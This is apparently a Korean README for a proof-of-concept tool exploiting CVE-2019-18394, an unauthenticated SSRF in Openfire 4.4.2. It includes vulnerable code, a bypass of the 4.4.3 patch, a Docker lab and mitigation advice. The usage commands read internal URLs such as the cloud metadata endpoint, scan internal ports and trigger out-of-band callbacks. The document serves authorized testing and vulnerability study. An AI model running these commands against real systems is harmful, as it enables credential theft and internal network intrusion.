
CVE-2019-18394 PoC: Openfire <= 4.4.2 FaviconServlet의 인증되지 않은 전체 읽기 SSRF
Ignite Realtime Openfire 4.4.2 및 이전 버전(관리자 콘솔, 기본 TCP 9090/9091)의 인증되지 않은 서버 측 요청 위조(SSRF). 4.4.3에서 수정됨(이슈 OF-1885).
host 파라미터가 검증 없이 아웃바운드 URL에 연결되므로, 서버가 공격자가 선택한 HTTP GET을 실행합니다./getFavicon은 관리자 콘솔의 AuthCheckFilter 뒤에 있지 않으며, 서버가 아직 구성되지 않은 초기 설정 상태에서도 응답합니다.허가된 테스트 전용입니다. 여기의 모든 내용은 직접 구축한 로컬 랩을 대상으로 합니다.
org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):
public void doGet(HttpServletRequest request, HttpServletResponse response) {
String host = request.getParameter("host"); // attacker-controlled
host = "gmail.com".equals(host) ? "google.com" : host;
byte[] bytes = getImage(host, defaultBytes);
if (bytes != null) { writeBytesToStream(bytes, response); } // body returned to caller
}
private byte[] getImage(String host, byte[] defaultImage) {
...
byte[] bytes = getImage("http://" + host + "/favicon.ico"); // unvalidated concatenation
...
}
private byte[] getImage(String url) {
...
try (CloseableHttpResponse response = client.execute(getRequest)) {
if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
return EntityUtils.toByteArray(response.getEntity()); // full body, not just an image
}
} ...
}
인증되지 않음. xmppserver/src/main/webapp/WEB-INF/web.xml에서 AuthCheck 필터는 *.jsp, PluginServlet, dwr-invoker에만 매핑됩니다. FaviconServlet은 일반 경로 /getFavicon에 매핑되므로 인증 필터가 실행되지 않습니다.
임의 호스트뿐 아니라 임의 경로. 코드는 /favicon.ico 접미사를 하드코딩합니다. host를 쿼리 문자열로 끝내면 해당 접미사가 파라미터 값으로 밀려 들어갑니다:
host = of_internal/secret?x= produces http://of_internal/secret?x=/favicon.ico
스킴은 http://로 고정됨. https:// 대상에는 직접 도달할 수 없지만, 서블릿의 클라이언트가 LaxRedirectStrategy를 사용하므로 http 엔드포인트가 302 리다이렉트로 이어지는 경우에는 도달할 수 있습니다.
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) { // OF-1885
return null; // withhold non-image bodies
}
return result;
GraphicsUtils.isImage()는 ImageIO.read(bytes) != null로, 목적지 검사가 아닌 콘텐츠 검사입니다. 패치 후에도 두 가지가 남습니다:
/images/server_16x16.gif는 기준선으로 사용되지 않습니다: 초기화 시 이를 로드하지 못한 서버는 대신 빈 실패 본문을 반환하며, 둘을 불일치시키면 잘못된 결과가 나옵니다.200을 응답하는 반면 매핑되지 않은 형제 경로는 404를 응답하므로, 실제 FaviconServlet 매핑과 catch-all을 구분합니다.FaviconServlet은 원시 host를 키로 히트와 미스를 캐시하고 두 번의 미스 후 단락(short-circuit)됩니다. 이 도구는 모든 프로브에 고유한 cb= 캐시 버스터를 추가하여 반복 실행이 오래된 결과를 받지 않도록 합니다.Python 3 표준 라이브러리, 의존성 없음.
check confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read fetch an arbitrary http:// URL through the target (full-read SSRF)
scan probe internal TCP ports from the target's network position
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json
# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/
# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090
플래그: --callback-host (대상이 콜백하는 주소), --listen-bind / --listen-port (로컬 리스너), --marker-format gif (4.4.3 isImage() 게이트를 통과하는 이미지 파싱 가능 콘텐츠 반환), --proxy, --json.
종료 코드: 0 정상, 1 발견, 2 오류 또는 취약하지 않음, 3 판정 불가.
차등 Docker 구성: 취약한 4.4.2(콘솔 :9090), 패치된 4.4.3(:9092), 그리고 호스트가 직접 도달할 수 없는 내부 전용 서비스.
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html
# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
-v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine
docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
gizmotronic/openfire:4.4.2 && docker network connect bridge of442 # VULNERABLE
docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
gizmotronic/openfire:4.4.3 && docker network connect bridge of443 # PATCHED
내부 nginx는 호스트 포트 매핑이 없으므로 호스트에서 직접 가져오면 HTTP 000을 반환하지만, Openfire는 도달할 수 있습니다. 그 SECRET_FLAG를 읽으면 요청이 신뢰 경계를 넘었음을 증명합니다. Docker Desktop에서는 대상이 host.docker.internal을 통해 리스너에 도달합니다(--callback-host에 전달). 네이티브 Linux Docker에서는 docker0 게이트웨이 IP를 사용하거나 --callback-host를 생략하여 자동 탐지합니다.
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read -t 127.0.0.1:9090 -d http://of_internal/
각 콜백은 User-Agent: Apache-HttpClient/... (Java/...)와 함께 도착하여, 요청이 도구가 아닌 Openfire 자체의 HTTP 클라이언트에서 왔음을 확인했습니다.
참고: gif 결과는 전체 읽기 SSRF를 확인하지만, 이미지 형태의 노출이 두 버전 모두에서 작동하므로 4.4.2와 4.4.3을 구분하지 못합니다. 수정 전과 수정 후를 구분하려면 기본 텍스트 마커를 사용하십시오.
read: 4.4.2는 내부 SECRET_FLAG를 노출했고, 4.4.3은 HTML 페이지를 보류했지만 경로 트릭을 통해 가져온 내부 .gif는 여전히 반환했습니다.
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal # tear down
Openfire 4.4.3 이상으로 업그레이드하십시오. isImage() 수정은 아웃바운드 요청이나 이미지 형태의 노출을 막지 못하므로, favicon-proxy 기능이 불필요한 경우 Openfire 호스트의 이그레스를 제한하고 관리자 콘솔(9090/9091)을 네트워크 제어 뒤에 배치하십시오.
cve_2019_18394_poc.py the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md this document
check는 --json <file>이 주어지면 JSON 증거 기록을 작성합니다.
| Target | Marker | Callback | Body disclosed | Verdict | Exit |
|---|
| 4.4.2 (vuln) | text | yes | yes, verbatim | VULNERABLE (unpatched) | 1 |
| 4.4.3 (patched) | text | yes | no, withheld by isImage() | PARTIALLY_MITIGATED (blind SSRF) | 1 |
| 4.4.3 (patched) | gif | yes | yes, image + trailing text | VULNERABLE full-read (see note) | 1 |
| non-Openfire (nginx) | n/a | n/a | n/a | endpoint absent | 2 |